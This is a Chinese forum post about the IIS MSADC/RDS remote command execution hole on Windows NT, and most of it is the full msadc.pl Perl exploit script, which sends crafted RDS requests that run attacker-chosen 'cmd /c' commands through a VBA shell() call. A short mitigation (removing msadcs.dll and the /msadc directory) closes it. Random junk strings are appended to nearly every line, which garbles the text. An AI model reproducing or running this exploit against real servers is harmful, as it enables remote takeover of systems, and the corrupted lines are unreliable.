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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) /o2P+Xr8"  
aBzszp]l+  
涉及程序: P(a.iu5   
Microsoft NT server *;XWLd#  
n\ Hs@.  
描述: q SejLh6  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 @;?T~^nGj  
8#&q$kE  
详细: d;+[i  
如果你没有时间读详细内容的话,就删除: c~o+WI Ym  
c:\Program Files\Common Files\System\Msadc\msadcs.dll rP(eva  
有关的安全问题就没有了。 &k8vWXMGk%  
3or\:  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 .{S8f#p9T  
"p3_y`h6+  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 U/NBFc:[y:  
关于利用ODBC远程漏洞的描述,请参看: Rl6\#C*  
dgo3'ZO  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm DE IB!n   
Hp|}~xjn  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Cbs5dn(Y  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp J4YBqp  
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这里不再论述。 O6].*25  
"Y=+Ls(3o(  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 1JEnnqu  
e2-Dq]p  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 5%}wV,Y  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 6yy;JQAke  
_U{&@}3  
Y[SU&LM  
#将下面这段保存为txt文件,然后: "perl -x 文件名" fKtV '/X;Q  
vJ`.iRU|  
#!perl dXn%lJ  
# |([R'Orm  
# MSADC/RDS 'usage' (aka exploit) script Xes|[*Y!V  
# z* <y5  
# by rain.forest.puppy ?tg  y|  
# *{o UWt  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me -]:G L>b  
# beta test and find errors! x#C@8Bxq=  
j!z-)p8hy  
use Socket; use Getopt::Std; 0W^dhYO  
getopts("e:vd:h:XR", \%args); QjPj[c  
jw ,izxia  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; $c&0F,   
8Q)@  
if (!defined $args{h} && !defined $args{R}) { `8\Ja$ =  
print qq~ *U l*%!?D  
Usage: msadc.pl -h <host> { -d <delay> -X -v } n,O5".aa<  
-h <host> = host you want to scan (ip or domain) 4ujvD^  
-d <seconds> = delay between calls, default 1 second jKIc09H|  
-X = dump Index Server path table, if available mceG!@t  
-v = verbose @$eT~ C  
-e = external dictionary file for step 5 [hRU&z;W  
iK_c.b  
Or a -R will resume a command session Ejq#~Zhr!  
q|)Q9+6$+  
~; exit;} n +1y  
X%9*O[6{  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Tx%VU8\?n  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} +'oX  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} W0cgI9=9  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); VK3it3FI>3  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} O''y>N9  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } x6'^4y])  
DW(~Qdk  
if (!defined $args{R}){ $ret = &has_msadc; )$x_!=@1  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} B ?%L  
8X?>=tl  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" {w^uWR4f  
. "cmd /c "; Dmdy=&G  
$in=<STDIN>; chomp $in; hF&}lPVtv  
$command="cmd /c " . $in ; eUO9 a~<  
3,aN8F1;C  
if (defined $args{R}) {&load; exit;} G.U 5)4_^  
`&$B3)Eb  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 99 wc  
&try_btcustmr; o!&W sD  
v@EQ^C2.&  
print "\nStep 2: Trying to make our own DSN..."; +K6szGP  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; bZipm(e  
<Mf*l)%*  
print "\nStep 3: Trying known DSNs..."; 84&XW  
&known_dsn; ,7d|O}B  
l*7?Y7FK  
print "\nStep 4: Trying known .mdbs..."; ~0-g%C?R  
&known_mdb; t"s5\;IJ  
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if (defined $args{e}){ -g`IH-B  
print "\nStep 5: Trying dictionary of DSN names..."; ;8B.;%qkL  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } X,v4d~>]  
2RppP?M!  
print "Sorry Charley...maybe next time?\n"; {)K](S ~  
exit; 5^)_B;.f  
%(LvE}[RJ  
############################################################################## G5'_a$  
B/eaqJ  
sub sendraw { # ripped and modded from whisker E(L<L1:"  
sleep($delay); # it's a DoS on the server! At least on mine... 'dt\db5p  
my ($pstr)=@_; S]2 {ZDP  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || LAZVW</  
die("Socket problems\n"); /r.6XZs6  
if(connect(S,pack "SnA4x8",2,80,$target)){ !E& MBAKy  
select(S); $|=1; CB*/ =Y  
print $pstr; my @in=<S>; G?V"SU.  
select(STDOUT); close(S); %%g-GyP 1  
return @in; ,{<p  
} else { die("Can't connect...\n"); }} xFsmf<Vm  
FrZ]=:  
############################################################################## .2X2b<%)  
XT||M)#  
sub make_header { # make the HTTP request m)f|:MM  
my $msadc=<<EOT  93w~.p  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 M#0 @X  
User-Agent: ACTIVEDATA i7eI=f-Q  
Host: $ip g"y?nF.&F  
Content-Length: $clen <d@pmh  
Connection: Keep-Alive l_+A5Xy  
5}a"?5J^  
ADCClientVersion:01.06 ')nnWlK  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 AQ@v>wr}  
v*P[W_.  
--!ADM!ROX!YOUR!WORLD! o'qm82* =  
Content-Type: application/x-varg 2a[9h #  
Content-Length: $reqlen /4C`k=>  
Bxv8RB  
EOT |U=(b,  
; $msadc=~s/\n/\r\n/g; 5G? .T?  
return $msadc;} Kpg:yrc['  
VG#Q;Xd}  
############################################################################## ]P*!'iYN(  
-2lRia  
sub make_req { # make the RDS request Vj!WaN_  
my ($switch, $p1, $p2)=@_; 5\G)Q<A]*L  
my $req=""; my $t1, $t2, $query, $dsn; .3g&9WvN!Z  
?L`ZKRD  
if ($switch==1){ # this is the btcustmr.mdb query ;c)! @GoA  
$query="Select * from Customers where City=" . make_shell(); o>!JrH  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ; J2-rh  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} & s-VSu7  
8_iHVc;<  
elsif ($switch==2){ # this is general make table query 2nx9#B*/T  
$query="create table AZZ (B int, C varchar(10))"; 46dc.Yi  
$dsn="$p1";} {8ECNQ[]  
9Dq.lr^  
elsif ($switch==3){ # this is general exploit table query D-iUN  
$query="select * from AZZ where C=" . make_shell(); KW>VOW<.  
$dsn="$p1";} a4u^f5)@  
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elsif ($switch==4){ # attempt to hork file info from index server _m7c o :  
$query="select path from scope()"; tDU}rI8?  
$dsn="Provider=MSIDXS;";} k5s?lWH  
 h,hL?imD  
elsif ($switch==5){ # bad query ]Wy.R6  
$query="select"; > Z++^YVE  
$dsn="$p1";} lWlUWhLnP  
L?.7\a@  
$t1= make_unicode($query); R2Yl)2 D  
$t2= make_unicode($dsn); %1Jd ^[W  
$req = "\x02\x00\x03\x00"; k.{G&]r{  
$req.= "\x08\x00" . pack ("S1", length($t1)); 2H>aC wfX  
$req.= "\x00\x00" . $t1 ; {jhcZ"#>\  
$req.= "\x08\x00" . pack ("S1", length($t2)); Z~R dFC  
$req.= "\x00\x00" . $t2 ; U IQ 6SvM  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; .~22^k  
return $req;} '^B3pR:  
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############################################################################## ] ?9t-  
TnxU/)  
sub make_shell { # this makes the shell() statement r8+*|$K  
return "'|shell(\"$command\")|'";} QqjTLuN  
=N;$0 Y(g  
############################################################################## fOJj(0=y  
dh?S[|='  
sub make_unicode { # quick little function to convert to unicode 7BK46x  
my ($in)=@_; my $out; b_l.QKk  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } cb4b, Ri  
return $out;} @LHtt/&  
/evaTQPz  
############################################################################## Z]p8IH%~92  
3f,u}1npa*  
sub rdo_success { # checks for RDO return success (this is kludge) >eu `!8  
my (@in) = @_; my $base=content_start(@in); ?d#Lr*m  
if($in[$base]=~/multipart\/mixed/){ bCt_y R  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Lv^a+'  
return 0;} 9Yd-m  
R;.d/U|av  
############################################################################## F;X"3F.!  
,?fN#gc :  
sub make_dsn { # this makes a DSN for us n)Hk8)^8  
my @drives=("c","d","e","f"); GP Ix@k  
print "\nMaking DSN: "; $Llv p bl  
foreach $drive (@drives) { I=K[SY,]9  
print "$drive: "; rEg+i@~  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . `M,Nd'5&|  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" oq243\?Y  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); U* 4{"  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ]}/mFY?7  
return 0 if $2 eq "404"; # not found/doesn't exist IF& PGo  
if($2 eq "200") { B6(h7~0(<  
foreach $line (@results) { .r(^h/IF  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} |zT%$  
} return 0;} )< l\jfx e  
/XjN%|  
############################################################################## TJE% U0Ln  
exsQmbj* %  
sub verify_exists { _qEWu Do  
my ($page)=@_; AmgWj/>  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ws. ?cCTpt  
return $results[0];} #i@ACAgn;6  
yW[L,N7d  
############################################################################## KxGKA  
a (P^e)<  
sub try_btcustmr { Tln9q0"W  
my @drives=("c","d","e","f"); VPdwSW[eM  
my @dirs=("winnt","winnt35","winnt351","win","windows"); hyM'x*  
qjJ{+Rz2  
foreach $dir (@dirs) { u0wn=Dg  
print "$dir -> "; # fun status so you can see progress >pN;J)H  
foreach $drive (@drives) { ?VUgwP_=  
print "$drive: "; # ditto G]1(X38[si  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; keqr%:E8  
$reqlenlen=length( "$reqlen" ); #aj|vox}  
$clen= 206 + $reqlenlen + $reqlen; QCVsVG!sN  
Lf[G>0t&n  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); |X,$?ZDap  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} +SO2M|ru&  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} %3ou^mcj  
: x>I- 3G  
############################################################################## @< wYT$  
xq#U 4E  
sub odbc_error { @Q/x&BV  
my (@in)=@_; my $base; f2`P8$U)R  
my $base = content_start(@in); w9/nVu  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this #4Dn@Gqh.Y  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 83\ o (  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; /A %om|+Gq  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 1 ,#{X3  
return $in[$base+4].$in[$base+5].$in[$base+6];} w/?nUp  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; @TdQZZ}G\x  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ,}eRnl\  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ,:Rft  
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############################################################################## aJEbAs}  
j2< !z;2  
sub verbose { cxAViWsf  
my ($in)=@_; JmnBq<&,0  
return if !$verbose; mrK,Ql  
print STDOUT "\n$in\n";} Oqd"0Qt-  
*?EO n-  
############################################################################## aQ32p4C  
$,8CH)w  
sub save { V?U%C%C|e  
my ($p1, $p2, $p3, $p4)=@_; b24NL'jm  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; }f<fgY  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; j l;kcGE  
close OUT;} HiQoRk  
%bCcsdK  
############################################################################## CPc"  
7p P|  
sub load { (eC F>Wh^m  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; "bHtf_  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Z}sG3p  
@p=<IN>; close(IN); R59e&   
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); H.jLGe>  
$target= inet_aton($ip) || die("inet_aton problems"); t}5'(9  
print "Resuming to $ip ..."; f}L>&^I)  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; /Ki0+(4  
if($p[1]==1) { B, QC -Tn  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; C1ZFA![  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; X{0ax.  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 3%It~o?  
if (rdo_success(@results)){print "Success!\n";} =XZF.ur  
else { print "failed\n"; verbose(odbc_error(@results));}} 7yMieUF  
elsif ($p[1]==3){ nu\  
if(run_query("$p[3]")){ &(5^v w<0  
print "Success!\n";} else { print "failed\n"; }} ^2&O3s  
elsif ($p[1]==4){ &*jxI[  
if(run_query($drvst . "$p[3]")){ 1?/5A|?V4+  
print "Success!\n"; } else { print "failed\n"; }} "7To c4  
exit;} btUUZ"q<  
]%NO"HzF~  
############################################################################## "i!2=A8k  
^BF@j4*~  
sub create_table { XA&tTpfJE  
my ($in)=@_; a}5vY  
$reqlen=length( make_req(2,$in,"") ) - 28; (hhdbf  
$reqlenlen=length( "$reqlen" ); X";QA":  
$clen= 206 + $reqlenlen + $reqlen; ir?Uw:/f  
my @results=sendraw(make_header() . make_req(2,$in,"")); u\Nw:Uu i  
return 1 if rdo_success(@results); vR6^n~  
my $temp= odbc_error(@results); verbose($temp); adRNrt*!  
return 1 if $temp=~/Table 'AZZ' already exists/; y9V;IXhDc  
return 0;} (&9DB   
a z:~{ f*-  
############################################################################## Y(#d8o}}#  
$Nt=gSWw5  
sub known_dsn { 'U|MM;(  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go TS\A`{^T  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", EWu iaw.  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Ev$-P X  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); p%1xj2 ?nN  
sx;V,"Y  
foreach $dSn (@dsns) { b6LC$"t0  
print "."; +P> A P&  
next if (!is_access("DSN=$dSn")); L]/\C{}k  
if(create_table("DSN=$dSn")){ HKEop  
print "$dSn successful\n"; >6.[i@RmWU  
if(run_query("DSN=$dSn")){ =\ti<  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { hr~qt~Oi  
print "Something's borked. Use verbose next time\n";}}} print "\n";} T!=20!I  
5CH-:|(;=  
############################################################################## oP|pOs\$p  
%#S"~)  
sub is_access { h+zkVRyA  
my ($in)=@_; UtW"U0A  
$reqlen=length( make_req(5,$in,"") ) - 28; '?vgp  
$reqlenlen=length( "$reqlen" ); l ))~&  
$clen= 206 + $reqlenlen + $reqlen; )CwMR'LV  
my @results=sendraw(make_header() . make_req(5,$in,"")); 6KIjq[T^  
my $temp= odbc_error(@results); U&Sbm~Qi  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); RAD4q"}k  
return 0;} t9f4P^V`  
B>p0FQ.  
############################################################################## 07T;IV3#C5  
9d,]_l.sB  
sub run_query { YaY;o^11/  
my ($in)=@_; bgzT3KZ  
$reqlen=length( make_req(3,$in,"") ) - 28; w{:Oa7_A  
$reqlenlen=length( "$reqlen" ); LAK-!!0X  
$clen= 206 + $reqlenlen + $reqlen; 2h|(8f:y  
my @results=sendraw(make_header() . make_req(3,$in,"")); Dvq*XI5  
return 1 if rdo_success(@results); ERX|cc  
my $temp= odbc_error(@results); verbose($temp); 'n>3`1E,  
return 0;} .qqb> 7|q  
RIVL 0Ig  
############################################################################## g'}`FvADi  
%_j?<h&  
sub known_mdb { #v~S",*.f  
my @drives=("c","d","e","f","g"); y3@x*_K8  
my @dirs=("winnt","winnt35","winnt351","win","windows"); [o[v"e\w  
my $dir, $drive, $mdb; .Kh(F 6 s  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; H(%] Os  
}VGI Y>v  
# this is sparse, because I don't know of many &, Zz  
my @sysmdbs=( "\\catroot\\icatalog.mdb", FB =  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", -}N\REXE  
"\\system32\\certmdb.mdb", ]UCk_zWsn1  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% *OGXu07 !  
T^(n+lv  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", X>@.-{6T  
"\\cfusion\\cfapps\\forums\\forums_.mdb", cO=UswIkwO  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", f@;>M9)<  
"\\cfusion\\cfapps\\security\\realm_.mdb", $5Y^fwIK  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ,# jOf{L*  
"\\cfusion\\database\\cfexamples.mdb", r"u(!~R  
"\\cfusion\\database\\cfsnippets.mdb", q/w6sQx$  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 0LHiOav  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", a`@<ZsR  
"\\cfusion\\brighttiger\\database\\cleam.mdb", C5sN[  
"\\cfusion\\database\\smpolicy.mdb", bKt3x+x(  
"\\cfusion\\database\cypress.mdb", [Tb3z:UUvf  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Pdo5 sve  
"\\website\\cgi-win\\dbsample.mdb", 9a~BAH,j  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", /m{?o  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" a9@l8{)RX  
); #these are just sNk>0 X[  
foreach $drive (@drives) { Y(I*%=:$  
foreach $dir (@dirs){ H:{(CY?t  
foreach $mdb (@sysmdbs) { ;aRWJG  
print "."; A]SB c2   
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ |E_+*1lq.  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; xU\:Vid+A  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 9J;H.:WH  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; fssL'DD  
} else { print "Something's borked. Use verbose next time\n"; }}}}} [vjkU7;7A  
9 <kkzy  
foreach $drive (@drives) { jXDzjt94J  
foreach $mdb (@mdbs) { "$:y03V  
print "."; JmJ,~_  
if(create_table($drv . $drive . $dir . $mdb)){ (krG0S:0Q  
print "\n" . $drive . $dir . $mdb . " successful\n"; Ppb2"Ik  
if(run_query($drv . $drive . $dir . $mdb)){ LN6JH!  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; {R{%Z  
} else { print "Something's borked. Use verbose next time\n"; }}}} M4hN#0("4  
}  RoM*Qjw  
jf)JPa_  
############################################################################## 7quwc'!  
E?q'|f  
sub hork_idx { X"khuyT_  
print "\nAttempting to dump Index Server tables...\n"; _8b>r1$  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; %{VI-CQ  
$reqlen=length( make_req(4,"","") ) - 28; k2tX$\E  
$reqlenlen=length( "$reqlen" ); CL}I:/zRB  
$clen= 206 + $reqlenlen + $reqlen; qP^0($  
my @results=sendraw2(make_header() . make_req(4,"","")); $ p1EqVu  
if (rdo_success(@results)){ ~ {7N TW  
my $max=@results; my $c; my %d; e/% ;  
for($c=19; $c<$max; $c++){ 36Z`.E>~L  
$results[$c]=~s/\x00//g; wsGq>F~  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; eP'kY(g8   
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; BK\~I  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; k&"qdB(I  
$d{"$1$2"}="";} <ZvPtW  
foreach $c (keys %d){ print "$c\n"; } u/:Sf*;?  
} else {print "Index server doesn't seem to be installed.\n"; }} &lfF!   
6exlb:  
############################################################################## Xie dgy  
nPIR 1Z  
sub dsn_dict { =cKk3kJC  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); TtjSLkF  
while(<IN>){ y`@4n.Q  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 6C51:XQO  
next if (!is_access("DSN=$dSn")); /sC[5G%  
if(create_table("DSN=$dSn")){ 1H[;7@o$e  
print "$dSn successful\n"; | v'5*n9  
if(run_query("DSN=$dSn")){ \w_[tPz}  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { eD1MP<>h  
print "Something's borked. Use verbose next time\n";}}} rMFZ#38d  
print "\n"; close(IN);} dvWlx]'  
|Gs-9+'y  
############################################################################## .p0n\ $r  
Ay6rUN1ef  
sub sendraw2 { # ripped and modded from whisker [3NV #  
sleep($delay); # it's a DoS on the server! At least on mine... COL8YY  
my ($pstr)=@_; }N9a!,{P=b  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || S_-mmzC(  
die("Socket problems\n"); +~{nU'  
if(connect(S,pack "SnA4x8",2,80,$target)){ <:7e4#  
print "Connected. Getting data"; \*"0wR;[K  
open(OUT,">raw.out"); my @in; 9/KQAc*  
select(S); $|=1; print $pstr; cWy0N  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 4wD^?S!p  
close(OUT); select(STDOUT); close(S); return @in; 44{:UhJkx  
} else { die("Can't connect...\n"); }} 5.HztNL  
8A]q!To  
############################################################################## W",jZ"7  
61wG:  
sub content_start { # this will take in the server headers ]Oh>ECA|D  
my (@in)=@_; my $c; ;RZa<2  
for ($c=1;$c<500;$c++) { F7Yuky  
if($in[$c] =~/^\x0d\x0a/){ H.~+{jTr  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } %a^!~qV  
else { return $c+1; }}} Z$K%@q,10+  
return -1;} # it should never get here actually \`9|~!,Ix7  
G%/cV?18  
############################################################################## 3lgy X/?o  
FsZEB/c  
sub funky { GuDD7~qxY  
my (@in)=@_; my $error=odbc_error(@in); WW@"75t  
if($error=~/ADO could not find the specified provider/){ s_?* R  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; xx#Ef@bS  
exit;} BeCr){,3  
if($error=~/A Handler is required/){ >'g60R[  
print "\nServer has custom handler filters (they most likely are patched)\n"; Qnc S&  
exit;} 1fp&"K:yR  
if($error=~/specified Handler has denied Access/){ ]V\ g$@  
print "\nServer has custom handler filters (they most likely are patched)\n"; w8Vzx8  
exit;}} S%|' /cFo  
NPq2C8:  
############################################################################## uV\#J{'*  
{lw ec"{  
sub has_msadc { `b$I)UUm  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); fkG"72 95A  
my $base=content_start(@results); .qP zd(<T7  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); > _) a7%  
return 0;} wC@ U/?  
~z"->.u  
######################## N.J:Qn`(  
j}Mpc;XOc  
Qd=/e pkm  
解决方案: ~$ Yuxo  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll "q8 'tN><  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 #`EMK   
J#^M   
拿出来充数 哈哈
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